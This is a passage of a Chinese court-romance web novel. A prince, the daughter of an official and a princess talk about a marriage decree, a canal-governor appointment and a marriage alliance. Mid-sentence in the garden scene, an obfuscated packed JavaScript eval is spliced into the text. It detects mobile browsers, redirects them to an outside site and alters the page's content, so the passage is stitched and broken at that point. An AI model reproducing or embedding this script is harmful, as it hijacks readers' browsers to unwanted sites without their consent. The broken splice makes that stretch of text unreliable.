“王姑娘如此不待见我？现在连与我同坐一车都难以忍受了？”他仍旧斜躺在软垫上，也不气恼，只是笑问道。 “我并不想坐于车中，再听殿下如方才这般强调皇权尊卑。” “姑娘既不想听，我不说便是了。”他耸了耸肩，也只是轻笑一声说道，“王姑娘一会儿抗的可是你我婚约的旨意，说不准也会殃及我这个无辜，我也需得在车厢里先舒坦一时算一时，不想骑马颠簸，也请姑娘见谅。 说罢，他便闭上了眼睛。 “还请殿下放心，届时我会将所有责任都揽到自己身上，绝不会牵扯到殿下，误了殿下的大好前程。” “最好是如此。”他仍闭着眼睛，一副满不在乎的样子，“王姑娘可千万要一人做事一人担。” “刘聿洵！”她闻言又气又恼，抓起身侧软垫便狠狠砸向他。 刘聿洵虽闭着眼睛养神，抬手却精准接住了那软垫，勾了勾唇角，也没有开口说话，便顺势将软垫垫在脑后枕了上去。 待换了姿势枕舒服了，才做了个禁声的手势，示意她安静。 王太初望着刘聿洵平静无波的面庞，满心困惑。昨日在他眼里，抗旨明明是桩关乎生死的大事，今日却为何能这般轻描淡写，竟能以玩笑相待？ 她怀疑刘聿洵是否有别的应对之策没有告知。 而当这怀疑浮上心头之时，她才惊觉，自己对刘聿洵竟是这般信任。 纵然表面瞧来，他此刻的从容皆因她承诺独担抗旨之险，可王太初心底始终萦绕着一丝感觉，他定然藏着周密的计策，可以解决此事。 而刘聿洵似是累极了，歪着脑袋，徇着马车平稳前行的节奏，竟不知不觉沉沉睡去，喉间溢出几声轻浅的鼾声。 恰在此时，车轱辘似是碾过路上一处凸起，马车猛得一颠。 这一颠簸，眼瞧着刘聿洵的脑袋就要从那软垫上滑下来，眼看着便要磕到车窗，王太初下意识探身伸手，用掌心稳稳托住他的后脑，动作极轻，生怕惊扰了他的安眠。 她便这般一路托着他的脑袋，目光落在他熟睡的眉眼间，心绪渐渐沉静如水。 若是他并非那有资格争夺储位的皇子，便好了。 50. 第十二章 刘聿洵被吉祥唤醒之时，马车上早已没了王太初的身影。 “殿下可安好？宫门来报雍王府的马车已在宫墙外停了许久，也未见殿下入宫。贵妃娘娘担忧殿下安危，特地遣了奴才过来瞧瞧。”虽有小轿抬着自己过来，却也因心急，一路颠簸，吉祥仍喘着粗气问道。 “无碍，只是眯着眼睛打了会儿盹罢了。”刘聿洵起身掀开车帘，探头说道，“有劳吉祥公公跑一趟了。” “都是奴才应当的，原也不该打扰殿下，只是眼下凤仪宫的客人都到齐了，殿下若是歇够了，还是随老奴一起进宫吧。” “王姑娘呢？” “王姑娘也已经到了，此刻正在花园内同平阳郡主闲话呢。” “哼，她倒是懂礼数得很，真把我这雍王府的马车当成脚车了。” 他的心中泛起一丝不悦，自己尚且还坐在马车上候在万安宫外，通政使王抃家的独女却已出现在了凤仪宫的花园内，这分明是她故意要和自己撇清关系。 可想到自己母亲对王太初的看法，又担心她独自一人会在凤仪宫内受了欺负，便只能快快理了理衣冠，跨下车来。 “母妃可有话要公公带给我？”瞧了眼侯在一旁的那顶青尼小轿，刘聿洵便知吉祥着急找自己入宫是假，有话要说确是真。 “殿下圣明，只一眼便瞧了出来。”吉祥嘿嘿一笑，说道，“贵妃娘娘让我侯在此处，正是有消息要提前带给殿下，好让殿下有个准备。” “只一顶小轿，你我谁坐都不合适，故而我们二人只能步行前往凤仪宫。算着凤仪宫到此地的距离，想来母妃要公公带给我的话，也不是一言两语便能说清楚的。”说罢，刘聿洵拢了拢领口，便背过手来，先向凤仪宫的方向走了去。 “奴才的心思，真是全然被殿下给看透了。”吉祥躬着腰快步追上前去，待走到刘聿洵一步之遥，便收了脚步，垂手敛目紧随其后。 “我还不知道你，若此话不长，此事不重，你定是能偷懒便偷懒，算了时间只愿在进宫的途中等我，哪里愿意跑到宫门外来寻我。”刘聿洵看了一眼吉祥，收起玩笑问道，“说吧，今日早朝兵部上折子之后，议事殿可有了决断？” 昨日刘聿洵已密令吴钩连夜赶赴兵部，调取了沈敬明历年军功档案。 今日早朝之时，兵部尚书郑岐玉便按昨夜刘聿洵议定之策，将档案呈于御前，为顾允恪暗中助力。 朝上，太宗并未就此事下任何结论，可早朝之后他便将王抃留在了议事殿，想来为的就是此事。 “陛下那边来了消息，道是，沈大人考核期间，大半时日皆在兵部当值，其军功实绩未能尽入吏部视野，故而未予优等。如此评判，确实对沈大人不公。”吉祥本就身材矮胖步履促狭，未走几步便被刘聿洵落了半丈，只得两手急摆着加快了脚步，“而顾侍郎，陛下念其素来护犊，体恤下属，对其所犯之事，便不打算再做深究。” “哦？如此说来，这漕运总督之位又转到顾允恪的手中了？” “应是如此，贵妃娘娘的消息，不会有错，奴才也在此先恭喜殿下了。” “好了，这铺垫也铺完了，说此行真正的的目的吧。”刘聿洵突然停住了脚步，急于跟上步伐的吉祥险些撞了上去。 “方才所说之事三言两语便能说清楚，也不值得公公特意跑一趟，恐怕公公还有真正要紧之事还没有说吧。” “嘿嘿，确实还有一事，娘娘要我先来提醒殿下。”瞧着刘聿洵皱眉，不难猜想，他大概已是猜了个八九不离十，吉祥便也不再铺陈，直言道，“娘娘要我同殿下说，今日若是王家姑娘公然抗旨悔婚，殿下便顺着这个机会，将这婚约推了去，万不可再掺合其中，徒惹陛下生气。届时这到手的漕运总督之位......” “母妃如何知道王姑娘要悔婚之事？”刘聿洵打断吉祥的话头，心中顿时升起不详的预感，他最担心的便是，自己还未到，王太初便已在凤仪殿内将自己意图悔婚的事情公之于众，这样才是真的全然没了转圜的余地。 “嘿嘿，这万安城内只要是贵妃娘娘想知道的事，哪里有探听不得的？” “母妃可真是神通广大。”见并非自己所想，刘聿洵方才宽下心来，重新抬步向凤仪殿走去。 只是那脚步，竟比方才还快了几分。 见刘聿洵没答应，吉祥忙跟了上去，边喘着粗气，边小心翼翼说道：“贵妃娘娘还吩咐奴才告知殿下，让殿下莫要犯糊涂。这漕运总督掌漕路、管漕粮，抓住他，便是抓住了漕运命脉。于殿下而言，这可真算得上是如虎添翼了。如此关键之时，殿下断不可为一貌美小妮子，折损在此路上啊。” “貌美小妮子？也不知她喜不喜欢这个称呼。”刘聿洵轻笑一声，问道“刚才这话是吉祥公公自个儿的话吧。你也不必替母妃藏着掖着，尽管说她的原话便是。” “瞧老奴这破嘴，说话不知轻重，实在该打。”吉祥说罢，轻轻拍了拍自己的嘴，往后着补道，“是老奴失言，对王姑娘多有不敬，还望殿下莫怪。可老奴也要斗胆帮贵妃娘娘说上句话，娘娘无论做什么说什么，也都是为了殿下的前程啊。” “来人，把轿子抬过来。”刘聿洵也不瞧他，只招了招手唤来了跟在身后的那顶小轿。 “吉祥公公且坐轿回宫，本王恐怕要先行一步。”说罢，他便将气喘吁吁的吉祥推到轿中，自己则更是加快了脚步。 “给我追上去，追上去。”吉祥还没来得及反应，只能轻拍轿身令抬轿的轿夫追了上去，待追上之后，慌忙再嘱咐道，“殿下，贵妃娘娘让我提醒你，这是陛下的棋局，你可万万不能做了那枚废子啊！” 刘聿洵闻言，脚步猛地一顿，片刻沉默后，面无表情地继续抬脚快步往凤仪殿的方向走去。 刘聿洵自小习武，脚步本就迅疾。若是心中存了记挂，再故意将脚程加快几分，那便是任谁也休想追上他了。 吉祥也只能坐在轿中，看着刘聿洵的背影皱眉道：“哎，殿下偏是像了娘娘，若能像陛下该有多好。” 待刘聿洵赶到凤仪宫之时，瞧见王太初和刘昭宁正坐在廊下对弈，一副岁月静好的模样。 在此之前，刘昭宁尚未到来，宫中女眷们，对未来的雍王妃都揣着不小的好奇，便纷纷上前围着她攀谈。 照王太初平日里的性子，这般表面功夫的应酬，他素来是能躲便躲，半点都不乐意沾的。 可今日晚些时候，偏她还有桩“大逆不道”之事要做，纵是素来避忌应酬，也只能暂且收锋敛芒，低调应对。 直到刘昭宁到来，才将她从漩涡的中心解救了出来。 说来也奇怪，这平阳郡主本也是万安城内响当当的贵女，可那些女眷见了她，也不过只打了个照面，问了声安，便都纷纷避得远远的，不肯多近半分。 就好似眼下这廊下，原本因空间阔朗，三三两两、三五成群地聚着人。可她和刘昭宁一在此处坐下，周遭便像被无情划了道界，再无人敢靠近了。 如此一来，倒是免了王太初不少麻烦。 “今日郡主怎会出现在此，我原以为郡主并不喜欢这样的场合。”王太初执黑先行，抢占天元要地，笑问道。 “太初姑娘何以会这般认为？”刘昭宁头也没抬，拈白斜挂一角，意图破势。 “到万安城后，大小宴席我也参加不少，都没见过郡主身影，就连郡主自家康王府那场热闹的菊花宴也没见郡主露面。想来，郡主是打心底里不喜欢这样的场合吧。” “呵--”刘昭宁轻笑道，“太初姑娘说得没错。以往那些场合，真真假假，虚与委蛇，没一样是真的。可我听说，今日的宴席陛下会下旨给你和王兄赐婚，而他要赐的这桩婚事，你们之间的感情，却是真的，所以我定是要来凑个热闹的。” 王太初要抗旨悔婚之事，刘昭宁并不知情，在其眼中，他们二人，一个未顾生死它山犯险而归，而另一个满眼满心尽露爱意。万安城内这般难得的真情，她愿以观众之身，一同见证。 “郡主此言我却不敢苟同，何为真的？坦诚相待自然是真的，刀光剑影又何尝不是真的呢？更何况，有的时候这刀光剑影可比旁的要更好看些。”王太初并不想提前透露自己的决定，便只能岔开话题，开起了不着边际的玩笑，“郡主得空，可要多出来瞧瞧才是。” “坦诚相待也罢，刀光剑影也好，人若身处一方境遇，自会与之生情，日后若要离开，便难割舍了。”她并未发现王太初的刻意回避，只是在落子之后，轻叹一声道。 “陛下已恩准康王留京，郡主怎会要离开呢？” 此问一出，刘昭宁一时语塞，觉着自己刚才多言，便默然垂首，笑着不再说话。 外人皆道平阳郡主素来高傲孤冷，甚难相处，此前于雍王 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16851792|180575||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 府相见，她亦对已若即若离。可今日在其脸上，王太初竟瞧出了一丝身不由己的无奈。 “或许有一日大庆需要她，令其不得不离开故土。” 刘聿洵在不远处驻足已有些时候，听闻方才的对话，边走到棋盘前边回答道。 他望着刘昭宁垂首的模样，他当然知道她说的离开是何意，这是高贵孤傲的郡主也不能逃避的命运。 他为这个妹妹的处境感到怅然，可吉祥的话又字字戳心，这万安城内，上至皇子郡主，下至平头百姓，何人不是父皇的棋子呢？ “难道......郡主说的离开是和亲？” 刘祀膝下无女，若当真有朝使携和亲旨意而来，这桩以女子一生换边境安稳的苦差事，怕是只能落到她的头上了。 “王姑娘何以如此意外？和亲之事，历朝皆有先例。昔日昭君出塞，以一己之身纾边境之困。如今边境不宁，若西境之军无力抵御鞑靼的铁骑，便只能效仿前人，以贵女远嫁换取数年太平。这本就是常有之事，有什么好奇怪的？”刘聿洵故意将此事说得稀松平常，而他当然知道她定会不服。 “谴妾一身安社稷，不知何处用将军。殿下既从小在军中成长历练，当执戈披甲、守土御敌，怎反倒觉得将女子推出去远嫁异域，苟求片刻喘息之事是常有之事呢？”王太初将黑子往那棋盘上狠狠一扔，也不知其攒了多大的力气，这小小一枚棋子落下，整盘棋局竟应声散乱。 刘聿洵一惊，转瞬便觉得这巧合令人发笑。 “姑娘此番责难我可不担，姑娘尽可以责怪我明州之事处置不当，可西境之事，我刘聿洵自始至终，无愧于心。” “殿下何苦又拿明州和西境说事，你这般总是揪着不放，反倒显得我将明州看得比西境要重！” “我可没有此意，我从未觉得姑娘将明州看得比西境重，也希望姑娘不要误会我将西境看得重于明州。”刘聿洵叹气说道，“无论你信不信，明州的粮价失控之后，我已令人传书让范金谦收手了。只是后来越州府的粮商从中作梗，才让我们的收手成了这无用之功，让明州百姓承担了粮价高昂之累。” “所以......殿下可自认，此乃殿下的过错？” 过错？ 刘聿洵已经许久没听人在他面前论起过是非对错。纵是那些道貌岸然、高论是非者，心中所思所虑的，无非也只是自身的利益，而非对错。 而他亦是如此，他始终认为明州西境之事，他有的也只是筹谋取舍罢了。 面对刘聿洵的沉默，王太初眼中的光缓缓暗了下来。 此时，刘昭宁才发觉今日这二人之间的剑拔弩张。 “哼--感情你们左一句，右一句，话里话外说的都不是我的事，全是你们自己的事。”她站起身来，拢了拢袖口，瞪了眼刘聿洵嗔怪道。 “自然不是！”王太初收了情绪，也站起身来，一把拉住刘昭宁的手，握在掌中，解释道，“边境的烽火从不会因和亲断绝，如今西境安稳，大庆兵强马壮，郡主切不可将未发生之事强揽于身，先自弃才是！” “食君之禄，当忠君之事。我既为大庆郡主，若有一日大庆需要我，我去便是。” 身在皇室，纵是高高在上的郡主，亦不过是为了大庆这盘棋局所驱遣的一枚棋子罢了。 “本王是不会让那一日出现的。”刘聿洵沉默后再开口说道，“昭宁尽可以在万安城内交朋结友，不必为此事忧心。” 刘昭宁自小感情疏淡，别说同外人了，便是与亲生父亲，也存着些许疏远。 他一直以为，是她看透了万安城内的虚情假意，才不愿掺合，却从未想过，背后竟是因这般缘由。 如今想来，从前她屡屡向自己问及西境之事，原是怕西境失守，她便会成为那枚被派去和亲的棋子。 刘昭宁的眼中闪过一丝光亮，却很快暗淡下来，释然一笑道：“王兄，先顾好自己吧。” 她将手从王太初掌中抽出，抬眼望了望花园入口。此时，刘祀正携着王抃，笑着踏了进来，他们的身旁跟着的便是曹端瑞。 见刘祀入园，园中众人纷纷前往行礼，刘昭宁也拉过王太初向那侧走去。 刘聿洵瞧见方才出现在园中的李全胜，故意拉开距离跟在后头。 “殿下，兵部的消息，陛下已然决定重新考虑，让顾侍郎接替漕运总督一职。”